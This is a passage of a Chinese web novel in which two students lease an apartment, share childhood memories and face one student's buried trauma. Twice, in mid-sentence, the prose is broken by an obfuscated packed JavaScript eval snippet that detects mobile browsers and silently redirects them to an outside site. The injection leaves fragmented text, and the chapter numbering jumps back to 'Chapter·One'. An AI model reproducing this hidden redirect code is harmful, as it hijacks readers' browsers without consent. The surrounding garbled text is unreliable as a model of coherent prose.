“对不起,先生,我们现在没有空余的公寓了。”谁知道,住户中心里的招待却这么告诉他。 “这么快?”艾登知道云决明不可能犯低级错误,“你们在周末的时候肯定还有的。” “是的,先生,上个星期的时候,我们这儿的确还有一套空余的公寓和一套样板公寓——但就在昨天,就连样板公寓也出租出去了。不过,我能问问您打算什么时候住进来吗?” “大概就在这两个月吧,”艾登耸耸肩,他不着急,云决明也还没跟家里人说好要搬出去住的时间,“我们不是十万火急地需要一个地方落脚。” “我们有一套公寓——虽然户型与之前空出来那栋不太一样,但也是独栋的,应该在五月中旬会空出来。因为租户是出于特殊原因,不得不中途毁约搬离,我们同意如果他们能找到无缝接手的租户,就归还所有的押金。对方因此请我替她留意想要租独栋公寓的租户,她不介意让人们上门去看看房子。如果您愿意的话,我可以现在打个电话给对方,看能不能让您过去瞧一眼。” “好的,那我让你先打电话。”艾登冲她点了点头,走出门把这个消息告诉了云决明。 “去别人家看看房子?”他重复了一遍艾登的话,眉头皱了起来。进入一个陌生人的家,就跟让一个陌生人到自己家里来一样让云决明感到紧张,艾登看得出来这一点,“我不知道……而且,她说要等到五月份才能住进来,意味着我们还要多等两个月。” “多等两个月也没什么不好的,刚好那时候学期结束,我们有更多的时间可以用来慢悠悠地挑选家具,一点点添置需要的东西,犯不着焦虑挑选一个作业比较少的周末,兵荒马乱地一股脑搬进来,然后一直到学期末,地板上都还全是收拾了一半的箱子,整个公寓里乱糟糟的,让人根本没法静下心来学习。”艾登安慰他。 “先生!她说很欢迎您们上门去看看房子,她家是7A,顺着这条路一直走下去就能到,不会错过的。”艾登话音刚落,招待小姐就打开了门,热切地向他们招呼道。艾登与云决明对视了一眼,“人家已经知道我们要去了,”他小声跟后者说,“不去看看好像有点说不过去。” 五分钟后,一位年轻的女士为艾登和云决明打开了大门。她看起来绝对不会超过三十岁,一头丝绸般棕发让她显得非常温柔。“你们好呀,”她的笑容好像在还没开门前就已经绽开了。说不清是什么,但她身上有一种特质,仿佛看见她就叫人安心,“快进来吧,我家有点乱,你们千万不要在意。” 艾登偷眼瞥了一下云决明,发现他也放松了一些,表情和肢体都没那么僵硬了。 “我叫伊丽莎白,伊丽莎白·史密斯,”她领着他们走进客厅,沿途捡起各种散落的玩具,“很不好意思,我不知道有客人要来,家里到处都乱糟糟的……我有个六岁的儿子,他现在处于一个特别喜欢到处乱扔东西,又特别不喜欢收拾玩具的时期,真是拿他没辙。” “没关系,”艾登帮忙捡起了两只恐龙模型,云决明也默不作声地把几个滚落在边柜下边的绿色小兵塑模收集了起来,一起交给了她,“我记得我六岁的时候也挺让我的父母头疼的。” 原来她是一位母亲,怪不得会让人觉得那么亲切。 他不动声色地打量着四周,这不是一间干净得让人有些束手束脚的样板间,是一个真真正正的家,处处都能瞧见生活的痕迹。墙角的那颗盆栽棕榈被扯秃了好几片叶子,也许它曾经充当了一次滑倒的缓冲;厨房里的饭菜才做了一半,番茄肉酱汁还在慢火上细语嘟哝,冒着泡泡,散发出勾人馋虫的香味。餐桌椅上挂着弄脏的外套,靠枕有一半都散落在地毯上,另一半看起来似乎在沙发上经历了一场生死大战,如今已尸横遍野。阳台门前的窗帘是米白色的——刹那间,艾登脑海里迅速闪过一瞬:云决明皱着眉头打量着垂顺的棉布,然后宣布这些窗帘必须一周清洗一次,不管把它们拆下来会有多么麻烦。 “是啊,人们总说他们长大了就好,但是长大了以后却有别的烦恼,”伊丽莎白叹了一口气,接着说了下去,“我和我的丈夫都希望我们的儿子可以得到更好的教育,所以我们在上个星期买了普斯特镇的一套房子,那里离圣彼得逊私立小学很近,交通也很便利,这就是为什么我们得从这套公寓搬走的缘故。真希望汤米能适应搬家这件事。” 伊丽莎白很健谈,艾登和云决明只有跟在她身后聆听的份,到现在都还没能插上一句嘴,做个自我介绍什么的。 “汤米!你在哪儿!我们有客人来了,你能出来打声招呼,顺便把你的玩具一起收拾了吗?”伊丽莎白中气十足地呼喝了一声,但整间公寓里只能听得见动画片里激烈的打斗声,那个叫汤米的小男孩——不知道是不想见客人,还是不想收拾玩具——总之没有吭声,“汤米!”他妈妈又焦急地喊了一声,往楼上走去,艾登和云决明不好就这么留在客厅里,便也一起走上去。 这栋公寓比之前空出来的那一间要大一些,二楼上来有个小厅,已经被用来堆满了乐高的模型,左边是书房,右边则是男孩的房间,后面一间房门紧闭的应该是主卧。伊丽莎白径直走向右边,艾登和云决明一人站在门的一旁,犹如两个正守卫着城堡的骑士,注视着贵族的夫人正在衣服,椅子,柜子,床底下四处翻翻找找,寻觅着继承人的踪迹。 这一幕很眼熟,艾登记得自己也有躲在衣柜里面,透过门缝注视着妈妈寻找自己的模样,竭力不让咯咯的笑声泄露自己的所在。他向云决明望去,却发现他的神色很恍惚,像是在怀念什么,又极力阻止自己去怀念。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041198|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妈咪——”楼下突然传来一声尖叫,吓了所有人一跳。“不好意思,请等我一下。”伊丽莎白扔下这句话,便心急火燎地冲下了楼,剩下艾登和云决明面面相觑地站在原地。 “你觉得发生了什么?”艾登开口问道。 “不知道,”云决明还是那副恍惚的样子,但他眨了眨眼,就恢复了冷静,“可能他想躲起来吓妈妈一跳,却不小心把自己倒挂在天花板上了。” “我小时候好像做过类似的事情,把我爸爸吓得不轻。”艾登轻笑了一声,探头打量着眼前这个铺了深蓝色墙纸的房间,目光从悬挂着的行星模型,到贴满了海报的床头,又转到抽屉柜顶端的R2-D2模型和支架上带着签名的橄榄球,最后落在墙角一排东倒西歪的迪士尼人物玩偶身上,它们可能曾经被迫观看了无数次:一个六岁男孩如何假装自己是卢克·天行者,并与邪恶的西斯大军战斗的,“我房间以前跟汤米的房间长得很像,甚至墙纸的颜色都差不多——我是深蓝色,艾莉是玫瑰色,恶俗而且刻板,对吧?但当时我很喜欢。” “我的房间也是蓝色的——不过是刷了油漆,比这间房间小多了,只能放得下一张床,一张书桌,还有一个衣柜。” 云决明突然开口了,从他自己也有点惊讶的表情来看,这句话似乎是不知不觉间就从他口里溜出来的,根本没有得到大脑的批准。不过,他说的一定是在国内居住时拥有的那个房间,艾登可以肯定这一点。 “你往墙上贴了海报吗?”艾登笑嘻嘻地说道,“我贴了不少,被我奶奶骂了一通,因为她说等我以后不喜欢了,就得重新全部换一次墙纸,太麻烦了——她果真说对了。” “我贴了,也挨骂了。”云决明嘴角带着淡淡的笑意,“我自己不声不响地贴了几十张,从我踩着椅子能够着的地方,一直贴到床边,整整一面墙全都贴了个遍,连衣柜也没有放过。小姨看到的时候,她差点气晕了,说梅雨季节时我的海报会发霉,连带着整堵墙都会跟着一起发霉。我不相信,硬是不取下来。结果后来海报都潮湿得软了,背后有大片大片密密麻麻的黑斑,看着让人鸡皮疙瘩都起来。他们把我的海报拆掉以后,还不得不帮我重新粉刷房间一次。” 艾登被逗得大笑了起来,“你贴的都是些什么海报?”他指了指汤米的床头,“我当时贴的几乎跟他的一模一样,蝙蝠侠,超人,蜘蛛侠,星球大战,神奇宝贝——不对,他还有两张日本动漫的,我没有。” “我贴了几张新世纪福音战士的海报——其他的……让我想想……好久都没有……” 云决明的回答逐渐微弱,却依旧显得兴致勃勃的,他的手无意识地捏着下巴,也许是回想得太用力,脸颊也被逼出了一层淡淡的粉色。艾登耐心地等着,也不催促,这还是第一次云决明谈起过往时露出了笑容,声音中也带上了情绪。 “好像还有钢之炼金术师,犬夜叉,神奇宝贝,名侦探柯南,数码宝贝——太一和阿和各一张,我可喜欢了。另外还有几张来自火影忍者,海贼王全员的通缉令海报就占了好大的一块地方——那时候学校附近有一家动漫周边店,我所有的零花钱都花在那儿了,一张大海报要卖8块钱,对一个上小学的孩子来说,算是巨款了。” “我爸爸很喜欢你说的那些日本动漫作品。”艾登从未谈起过这些事,但想到听见自己这番话的是云决明,又让他觉得跟对方分享这件事简直是理所当然的,“我想他是美国最早受到日本文化影响的一代,他去香港出差的时候会专门从那儿带DVD回家看,大多数都自带粤语配音,因此我们也可以跟爸爸一起看。” “我看的也是粤语配音的。”云决明惊喜地附和了一句,就像他们共同挖到了什么宝藏。 “当时,我最喜欢的是龙珠。”“我也很喜欢龙珠,但是龙珠的海报都不太好看——”“还有EVA。”“那其实就是新世纪福音战士,只是翻译不同。”“天啊,我和我爸爸都最喜欢绫波丽了!”“我也是——” 这一次,连云决明也忍不住笑出了声。他们注视着彼此,好似看到的不再是长大后的成人,而是曾经那个六岁的自己,那么执着又那么单纯地想要把一切喜爱的事物都留在自己的生活中。突然一切与深蓝色的墙壁,满眼的海报,天文模型,星球大战手办都无关了,唤起记忆的是床底下徒留一只的袜子,是在被角露出的午睡毯子,是沉入梦乡前的故事,是落在额头上的吻,是空气中淡淡的浮尘,是刚洗干净的床单上散发的清香,是一切能让他们想起自己的生活还未天翻地覆以前的小小细节,允许他们稍微冒充一会天真无邪,对未来的残酷一无所知。 仿佛他们都是从同一个年份酿造出的美酒,只有嘬饮对方才能得知自己过去的滋味。 “谢天谢地,汤米只是在想爬出衣柜的时候把脚卡在高尔夫球杆里了。”伊丽莎贝牵着一个金发小男孩的手,出现在他们的身后,“你们已经看过了汤米的房间了吗?我可以带你们去看看其他地方——这真的是一栋很不错的公寓,你们两个会在这儿过得很愉快的。” “我相信这一点。” 艾登抬起头,他和云决明都微笑着望着她。汤米有些害羞,他半个身子躲在妈妈后面,只冒出一双蓝色的大眼睛望着眼前的两个男人,他不会知道这两个人有多么渴望能成为他,有多么渴望能回到他的年纪,也不会明白为什么明明他们都笑着,眼神却给他不一样的感觉——等到他明白的那一天,他自己也已是男人,于是这种微妙又伤感的循环代代重复,永远没有结束的一天。 “我愿意接下你的租约,伊丽莎白。” 22. Chapter·Twenty-Two 体育场人很多。 云决明像一条在雨后废墟中奋力从落叶臭水中挣扎而出的毛毛虫一般,艰难地在拥挤的人群穿行,试图从香水,除臭剂,加拿大鹅羽绒服,印着U大猩红字母的棒球外套,松弛的啤酒肚,叮铃作响的耳环,以及一条又一条宽松的运动裤中厮杀出一条血路。既要提防自己踩到别人,也要防止别人踩到自己。怕冷的他甚至热出了一身大汗,好不容易才在看台阶梯上占据了一个能看清楚赛场的空地。 我干嘛要来受罪? 他第一千零一次地这么询问自己。 这是U大橄榄球春季训练最后一场对公众开放的全场地乱战,向来都算是U大体育竞技日历上的一件大事,能把整个约州的球迷都吸引过来,哪怕拖家带口地开上两个小时的车也在所不惜。毕竟,下次再想亲眼看到U大橄榄球队的训练,就要等到八月夏令营的时候——那可还有整整五个月呢。而且,这也是不少球迷确认今年球队状况如何的一次机会。 春季比赛训练不收取门票,不限制观看,不限制人数——最后一项是默认的,如果问起来,镇消防局会矢口否认,声称前来观赛的人数是完全符合体育场的安全标准的,但谁都知道人数远远比那多得多——座椅,过道,全都被密密麻麻的人影所占据,放眼望去,犹如一片猩红的狂潮掀起,波涛四溅,狂龙躲在水波阴影下咆哮,漫山遍野尽是血雨,伴随着惊天动地的欢呼。若不亲眼见识这一幕,很难想象约州人对U大橄榄球队的热爱及狂热,远超其他所有运动——这支橄榄球队是所有约州人心中的骄傲,尤其是在去年的辉煌胜利以后。 云决明有些站不住了,潮热的声浪震得他发昏,从观众嘴中呵出的白气似乎不会在冷气中消散,而是形成了如同浴帘般的雾气,让他什么都看不真切,有人在把他推着往前走,也有想要出去上厕所的人在把他往外推。云决明觉得自己要受不住了,早餐的白粥和橄榄菜在胃里翻滚,随时要破喉咙而出。虽说这会是冬天,大家都穿着厚厚的外衣,肢体间的挤压仍然让他感到恶心,人多的环境更是让他恐惧又厌恶—— 我想离开,我想离开,我想离开。 他弯下腰,掩住肚子,这个动作让四周的人群散开了些,云决明大口大口地喘着气,朦胧中他似乎听见有个女人问自己还好吗,抬起头来却看见的是艾登笑嘻嘻的脸,一手撑着下巴,另一只手转着手中的笔,已经过去一个多月了,他还是没能学会。 “下周六来看我的比赛吗,Ming?”他正在做一套特别难的统计学题目,云决明同意给他十分钟休息的时间。 “不去。” “很有意思的!我保证给你弄到一个特别好的座位——教练专门为家属和朋友预留的那种。你不想看看我在球场上的英姿吗?不想为我鼓掌,为我欢呼吗?”他像只大狗一样抽了抽鼻子,努力装出委屈难过的模样,但是那笑得弯起来的双眼出卖了他,云决明从打印好的课表上抬起头来,瞥了艾登一眼。 “不想。” “可我们马上就要成为室友了!别忘了,我们前天可是当场就签好了租约!” “没错,”云决明低头看着纸张上密密麻麻一排下来的经济学课,想从里面找出一个听起来还不算太坏的课程。下个星期就要和顾问约时间,谈谈下学期选课的事宜了,他想预先决定自己想上的课,再咨询顾问的意见,“但我又不是橄榄球迷,对运动也没有兴趣——你最初觉得我会是个好家教,不就是因为我不会两眼冒星星,一脸崇拜地看着你,缠着要跟你讨论赛场上的轶事吗?” 这句话没有得到回应,云决明有些奇怪地抬起头来,却发现艾登正在书包里面翻找着什么,接着,他就抽出了《法医心理学》的课本,翻开了书页中夹着的两份论文。 他将它们并列摆放在书桌上,两份论文都打了成绩,一个写着艾登·维尔兰德名字的,得了A;另一个写了云决明名字的,得了A+。 “还记得星期二晚上,你读了我关于连环杀人犯如何与时俱进地发展自己犯案手法的那篇论文,然后你说你想帮我修改几个地方吗?” 云决明轻声“嗯”了一声,仍然盯着论文上自己的名字,还有那个评分。 “等我拿回我自己的论文一看,我发现你几乎就是撰写了一篇全新的论文——就在你给我辅导统计学的那两个小时里,刨除给我讲题,复习,解析知识点的时间,你重写了一篇8页的论文,更改了所有我引用的资料,而且范围横跨书本,论文,周刊,以及现实案例,如数家珍般信手拈来,从引述到分析,从例子支撑到结果总结,全都和我之前写的不一样。当然,你用了我论文的架子,才能改得那么快,有很多地方你只是硬插了几句进去,然后写了一个‘展开’就没了下文,我猜你是要我自己根据你给出的论点展开分析。” “嗯。”云决明低下了头,他现在才意识到自己当时做了什么。 不要问我为什么会知道这么多,他在心中恳求着,不要问我为什么会有如此深厚的心理学基础,否则我可能会将所有高中不堪的往事一一细数,我无法拒绝你的问题,但我还无法承受那样的沉痛。求求你,别问。 “我不能交上去一篇根本不是我写的论文,但我也不想让你的心血付诸东流。所以,我把你改过后的那篇论文换成了你的名字,补足了你的引用中缺少的部分信息,跟我的教授详细说明了发生的事情,也一并交上去了。而这,”他指了指那个鲜红的笔迹,“就是她给你的分数。昨天发下来的。” “嗯。”论文被推到了面前,云决明却不敢接过,仿佛那是某种滚烫而可怕的东西,如火钳,烧红的煤块,或者是曾经紧紧抓住自己的那双手。他别过了头,将颤抖的手藏在了衣兜里,握紧了拳头。 “这么多年来,索夫科瓦斯基教授从来没有给过任何一个学生A+,她不相信这种分数,在开学的第一节课上就就说过。”艾登的声音很温柔,他的手指细细拂过那横跨一整页纸的首段——云决明当时只是即兴而为,只在乎论据逻辑的完整严谨,及是否把自己的观点说清楚了;什么分段,语法,论文整体各部分的比重,统统没管,“然而,这一次,她觉得A远远无法说明你的出色,这篇论文虽然写得极其粗糙,却难掩你在心理学方面展现出的天赋——这是她的原话,Ming,你可以在尾页看到她留下的评语。” 云决明没有应声,他的视线落在那一排经济学课表上,满眼都是“经济入门”“国际金融”“全球经济危机”“金融与大数据”。陡然间,纸张被一双手拿起,随即被揉成一团,精准地飞进了垃圾桶中。“那不是你该学的专业,Ming,你根本一点也不喜欢经济,我们都知道这一点。” “这个专业好找工作,薪酬也很可观。”云决明像个鹦鹉一样地重复着高中学业顾问告诉他的话。 “也许相比起其他的专业——艺术,历史,哲学,文学,的确是这样的。但那真的是你想要的生活,你想要的工作吗,Ming?穿得西装革履,人模狗样的,恨不得住在华尔街上,每天张口闭口就是指数和股票——好吧,也许我的描述过于刻板印象了,但我即便只认识了你一个多月,我也知道你根本不喜欢那样的一份工作,也不想要那样的生活。” 他把另一张纸放在了云决明面前,上面一排排陈列着的都是“社会心理学”“儿童心理学”“女性心理学”“变态心理学”,每一行字都深深地吸引着他,就像他一瞧见艾登的论文题目就情不自禁地想要读一读,想要改一改;就像他第一次在图书馆借走心理学入门的书籍;就像他第一次生涩地把自己学到的知识应用在别人身上——心情都是一样的激动又愉快。 “这才是你应该学习的课程,Ming,你在心理学上很有天赋。” 指甲深深地掐进肉中,直到整只手所能感到的就只剩下疼痛,云决明很久以前也听过一句类似的话,“云,你在心理学上很有天赋,”那个男人笑着说,声音就像毒蛇一样黏腻刮擦得让人恐惧,他从前是怎么会觉得他嘶哑虚弱的声音值得信任的?“我相信你继续学下去会大有成就,你如果想的话,以后有什么不懂的都可以来找我,我随时在这儿等你。” “你不懂。”云决明声音压得很低,好像只要说得够小声,就不会惊动回忆,就不会惊醒树梢沉睡的上千只乌鸦,它们偶尔会在梦中起飞,遮天蔽日,翅膀齐刷刷扑腾,听上去就像痛苦的呜咽与办公桌的吱呀声同时响起,油腻腻的,粘连一块的羽毛在他眼前来回晃悠,飘荡,“我不能选心理学。” 艾登站起身,他绕过桌子,手停在云决明肩膀上,脚停在他套着袜子的小脚拇指旁,一点点微弱的温度传来,并不叫人讨厌。别问我为什么,云决明继续在心中祈祷着,他知道自己此刻看起来一定很不对劲。别问我怎么了,别问我发生了什么事,什么都别问我,艾登,什么都别问。 “来看我比赛吧,Ming。” “不。” “来看吧,你会喜欢的。” “不,艾登,我不想去。” 艾登低低地叹息一声,那么轻,听起来像个柔软的吻。 “你知道吗,在我父亲死后,有很长的一段时间,我都觉得我不能再打橄榄球了。” 突然话题一变,艾登转身,从书架上抽出了一个夹在两本书中的相框,递给了云决明。擦得干干净净,没有一点灰尘的玻璃后面是一个与艾莉长得很像的英俊男人,有着一头黑发,以及优雅的灰色双眼,笑容温柔灿烂,伸手揽着穿着橄榄球装备的艾登——看上去他那时大约有七岁,肌肤还没有晒成小麦色,头发金灿灿的,没有现在帅气,却更可爱,咧开笑着的嘴里少了两颗牙齿。他高举着橄榄球,和自己弯下腰的爸爸头碰头,看着无比快乐。 “是我的父亲教会我如何拦截跑,如何冲撞,如何防守,所有我与橄榄球有关的知识都是他教的,只要他有空,就会亲自去看我的训练,站在场外为我喝彩,为我鼓掌,为我打气,会跟着我一起在泥地里乱跑,哪怕昂贵的西装上沾满了烂泥草屑也无所谓。‘我的儿子将来会成为一个了不起的四分卫,就像他的爷爷一样’他经常这么跟我说,我如今还能常常听见这句话——在上场前,更衣室空无一人的时候;或者是偶尔向观众席上看去的时候,我觉得他就在那里,微笑着注视着我。” 他把相框从云决明手中抽出,归还原处。这个过程中,他一眼都没有看照片上的内容,仿佛是因为他无法与那个小男孩对视,无法去分享那时他眼中的幸福和满足,无法直视自己生活中曾经拥有的完美面貌。 “只要不去触碰,记忆就永远不会醒来,不会再带给自己伤痛。我曾经也是这样想的,Ming。” 这不一样,艾登。他好想说。 你回忆起的是自己的父亲,是一个值得尊重,值得被爱的好男人。而我想起的是个禽兽不如的东西,我信任他,我爱戴他,我全身心地依赖他,我以为他能保护我,我以为他能成为我的引路人,我以为他能再度点燃灰烬。但他却最终辜负一切,踩灭余热,将我推落深渊,烟灰滚满全身,肮脏得如同一只腐臭死掉的乌鸦。这不一样,艾登,这不一样。 “后来,我发现我错了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041199|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他伸手按了按云决明的胸膛,当艾登的手离开的时候,仿佛心跳也被他带走了一部分,在他的指尖忽明忽暗地闪动。 “你让那些回忆沉睡得越久,它们就会拥有越多的能量,就像那些死火山一样,缺少的只是一个契机,一个小小的响指,一次轻微的震动。然后它会苏醒,会爆发,会毁灭我们的世界——因为你把你心爱的事物交给了它,你任由它利用你所爱的来为你制造痛苦,来片片凌迟你的心,来撕裂你的生活。最终什么都剩不下,除了那些你根本不喜欢也不想要的,正因为你不喜欢也不想要,它们没有办法拿来当做武器,因此才存活了下来。但这样你的一生都因此而被拖累,你消耗了太多不必要的时光去对抗只占据时间洪流很小一部分的回忆。这根本没有必要,Ming,相信我。” 忽然,他伸手将云决明拉了起来,紧紧地抱住了他。 “我不知道你曾经发生了什么事,也许有一天你会愿意告诉我,也许这会是一个你带进坟墓的秘密。但是没关系,Ming,我还是可以告诉你打败它的诀窍——把那些你爱的,也能用来伤害你的武器都统统抢回来,不要把它们留给回忆,Ming,把它们留给自己。” 云决明没有推开他,只是茫然地任由他的双臂有力地环绕着自己的肩膀,他们的胸膛挨得那么近,近得就像是艾登的血液流淌进了他的身体,炙热地燃烧着他的全身,燃烧着他的心,燃烧着一切。他的脸埋在艾登的肩膀,扑鼻尽是香皂,静电纸,须后水,护发素的香气,在那之上,还有某种若有若无的味道,像童年时,他在放学后扑进自己的床,在被褥间嗅到的阳光气息,那么温暖又那么让人安心。 “嗯。”他轻声说。 “来看我的比赛吧,Ming。” 他没有答应,艾登也没有再问。 突然,人群中爆发了震耳欲聋的尖叫声,吓得云决明浑身一震,视线突然变得前所未有地清晰起来。适才问他话的女人也跟着转过身去,举起了双臂,云决明顺着她的胳膊望去,能看见上千个字母在体育场的空中挥舞。云决明紧紧抓着旁边座椅的扶手,免得被一窝蜂向前挤去的球迷冲散——他知道发生了什么事,是橄榄球队员们入场了。 云决明直起身子,踮起脚,向下方望去。虽然隔得很远,但他一眼就瞧见了艾登——他走在最前面,和杰森并列,带着红色的头盔,橄榄球球服让他看起来比平时壮了两倍,也高了不少。“艾登!”“艾登!”“艾登!”“艾登!”歇斯底里的大吼从四面八方传来,似乎所有人都在呼唤着他的名字,但整支球队都表现得很冷静,在教练的带领下一路走到中场,才停了下来。另一边入场的是P大的橄榄球队,但由于P大橄榄球队成绩向来不佳,又是U大体育场的客场,得到的掌声和欢呼寥寥无几。 站定以后,双方的教练握了握手,似乎还交流了几句。这个过程中,云决明突然注意到艾登不再乖乖地站在原地,相反,他那红得发亮的头盔正在四处转动,还差一点和杰森撞上——云决明的心砰砰地跳了起来,如此剧烈,他奇怪整个体育场怎么没跟着一起地动山摇。这不可能,他心想,这是一间能容纳五万人的体育场,他不可能在找我,他也不可能找到我。 尽管如此,他却忍不住向前挤去,羽绒服摩擦发出的吱吱声,满鼻子头油味,撞到了胳膊肘,踩到了某个人的脚,谁又粗鲁地撞在了他的肩膀上,统统都不重要,也不在乎了。云决明只想更近一点,更近一点,再近一点——哪怕缩短的距离是这么微不足道,他仍然只是人群中的一粒沙,如此平凡,又如此渺小,淹没在猩红的海洋中。云决明突然想要大哭,想要大喊,想要把自己的心剖出来让所有人听见它的轰鸣巨震。为什么他没有答应艾登,为什么他没有说好,为什么他现在没有在家属和朋友专用的位置上,这样艾登就能一眼瞧见他? 他仍然向前扒着,推着,手臂使劲撑开,使出了吃奶的劲——刹那间,他倏地停住了。 艾登不可能正在看着他,艾登不可能在人群中找到了他,这是不可能的。 可这又是千真万确的,那红得发亮的头盔停住了,直直地朝着他所在的方向,有护网挡着,有上百米的距离阻拦着,云决明瞧不见艾登的表情,可他知道对方一定在笑,灿烂无比,快乐无比,就像那张照片上小小的艾登,一样。 艾登伸出手,挥了挥。 半个球场顿时沸腾了,大家都拼命挥舞着胳膊,高喊着他的名字,激动得热泪盈眶。云决明什么也听不到,什么也感受不到,他只是恍惚地站在原地,慢慢地也伸出了手臂,挥了挥——仿佛这一刻世间一切都不复存在,没有起伏潮落的猩红海洋,没有在空中飞舞的字母,没有痛苦的呜咽和粗重的喘息,没有灰暗的过去和熄灭的余烬,没有早逝的父亲和早夭的童年,只有他,和艾登,只有这永恒存在的刹那。 ——千万人中,他只看见了我。 他想着,伸手抚上胸口,就像有什么鲜血淋漓,伤痕触目惊心的宝物终于被自己夺了回来,如今沉甸甸地躺在心中,再也不会离去。 星期一中午,他的学业顾问惊讶地从成绩单上抬起头,“你说你想换成心理学专业,决明,是这样吗?” “是的,因为我到目前为止上的都是通识课,还没有涉及经济学的核心课程。现在换专业,我还是可以按时毕业的。” “为什么这么突然?你以前从未提到过对心理学有兴趣——” “因为——” 云决明微笑了一下。 “因为,我最近才把这个兴趣从恶龙的手上抢回来。” 23. Chapter·One 寒冷终于一点一点,拖拖拉拉,不情不愿地被从约州拽离了。 临走前,还下了一场不大不小的薄雪作为赠别——那是四月中旬时的事,雪一天就融化得干干净净,好似从未来过。从那以后,天气就一天比一天暖和了起来。四月底的某天早晨,云决明一觉醒来,发觉街道上的流苏树一夜之间全都开花了,他呆呆地站在那儿看了好一会,意识到自己从未注意过满街白花飘荡的美景有多么动人。 离开家门的时候,扑鼻而来的淡淡清香一下子就冲走了他身上的中药味——母亲最近老在家里熬中药,因此家里除了从地下室通过中央空调送上来的挥之不去的漂白水味以外,又多了各种花旗参,黄七、获岑、苍白术、木香、乌槟榔、厚朴、香附、砂仁、内金,等等的气味。好在开车时把窗打开,吹一会也就闻不出了。 “就是女人到了一定年纪以后身上会有的各种各样的毛病。”当他问起母亲是不是身体有什么不适的时候,母亲淡淡地回答,“那帮西医不会看的,这服药是我去法拉盛药店抓的,很有用。” 云决明有点担心,便上网去搜了搜相关的信息。 令他搞不懂的是,似乎在他之前,从来没有哪个丈夫或儿子想过要去问问这种事情,在各个论坛和网站上发帖的全是女人,而她们说话自有一套暗号。看了好一会,他才逐渐弄明白,“OBGYN”是妇产科医生的意思,“A/F”或“TotM”是来月经的意思,“热潮”指的是更年期。里面还有很多词,既可以用来形容女性的身体部位,也可以拿来形容床上的姿势,甚至是表达别的完全不相干的意思。云决明看得昏头转向,犹如正在学习一门新的语言,或者正在做难度极高的意识流阅读题。而那些四五十岁,平时就连重启一下手机可能都没学会的阿姨们却似乎各个无师自通,完全明白大家想要表达的意思。 他没有找到女人在这个年龄一般会有什么毛病——每个女人似乎都各有各的问题,根本没法总结出一套规律。他唯一弄懂的,就是大部分女人似乎都很不好意思光明正大地描绘自己的女性特征,不是“乳方有肿块”,而是“咪咪有肿块”;不是“我这个月没来月经”,而是“我这个月姨妈没有来访”;不是“我到了更年期,开始停经了”,而是“感谢上帝我再也不用生孩子了”。 在这之后,云决明隐约意识到,可能母亲有的并不是什么“更年期疾病”,她这么说,只是为了堵住自己的嘴而已。就像女人问跟汽车有关的事,男人就会不耐烦地以一句“太复杂了,你根本搞不懂”,敷衍过去。 对母亲他说不上爱,如今也说不上恨。人们都说母子之间天然便会有一份感情联系,对云决明来说,即便有,那也是苍白的,仿佛被漂离了颜色,情绪,明暗,对比,感受,像一件被洗得太旧,已经不适合穿的衣服。于是,他把它叠得整整齐齐,收在衣柜的最深处,偶尔路过时,会打开来看一看,企图要从视觉上找到一点不存在的柔软触感,最终总是失望而去。 但无论如何,一份最基本的为人子女的责任心,他还是有的。 这会他很快要搬走,自然对母亲的身体状况更加上心,他默默地观察了一段时间母亲的状况,发现她一切如常,没什么异样以后,便渐渐放下心来。随即,繁忙的期末考试学习周便越发把这层担忧冲淡,覆盖,洗刷。等云决明再次记起这件事的时候,已经是期末考试结束后的第三天,他约好了要去艾登家帮他打包。 “妈” 云决明唤了一声,母亲似乎在发呆,她怔怔地瞧着眼前的白粥,米粒上摊着一汪腻腻的红油,在寡淡的清汤上晕开。云决明配粥用橄榄菜,她用从大华超市里买回来的湖南辣椒。 来自儿子的声音让她忽地清醒过来,抬起眼惊异地瞧着云决明——这样的眼神偶尔会出现,像是她头一次意识到自己还有个孩子,他还会开口叫自己妈。 “怎么了?” “我下个星期就要搬走了,”他提醒着母亲,“你在报纸上登了租房广告了吗?” “嗯,”母亲淡淡地应了一声,“小琦帮我在别的地方也发布了信息,我不知道你们现在都在什么网站上找租房消息,但她说回复的人很多,有两个今天下午就想来看看,所以我今天就不去教堂了。” 自从继父突然消失了以后,可能是为了打发时间,母亲加入了当地的一个华人基督教会,确认对方不是什么邪教,也不会骗钱骗捐助以后,云决明便没有干涉过这件事了。 “好。” 谈话到此戛然而止,只能听见瓷勺偶尔与碗碰撞的声音,还有母亲偶尔咳嗽一声,清清嗓子,或者擤鼻子的呼噜声。她就坐在那儿,没有色泽的黑发松松地在脑后夹着,衰老的肌肤上有痘痕,斑点,以及皱纹。眉心一道深深的印记,仿佛是两座山峰间的深深沟壑,永远都没法填满,只能瞧着它如何在荒岩的挤压下越来越深,仿佛从那伸手按下去,就能触碰到她的颅骨,她的大脑,她的心—— 云决明试过,他伸出过手,还未触到就被母亲下意识地挥开,犹如赶开一位不速之客,一只嗡嗡的苍蝇或蚊子。他后来在儿童心理学的书籍上读到,在婴儿时期的肉|体接触对孩子来说至关重要,他们从相似的气味,柔软的触觉,轻声的哼鸣,温热的肌肤上学到自己是被深深爱着的,因此也会本能地回馈同样深厚而无条件的爱。如果这种亲密能一直被父母保持下去,直到孩子开始记事为止,那么即便暂时远离父母,孩子也不会焦虑,因为他明白父母会回来,明白他们不会抛弃自己,他会安心地等待。 母亲大约从来没抱过自己。 云决明那时候合上书本,心想。 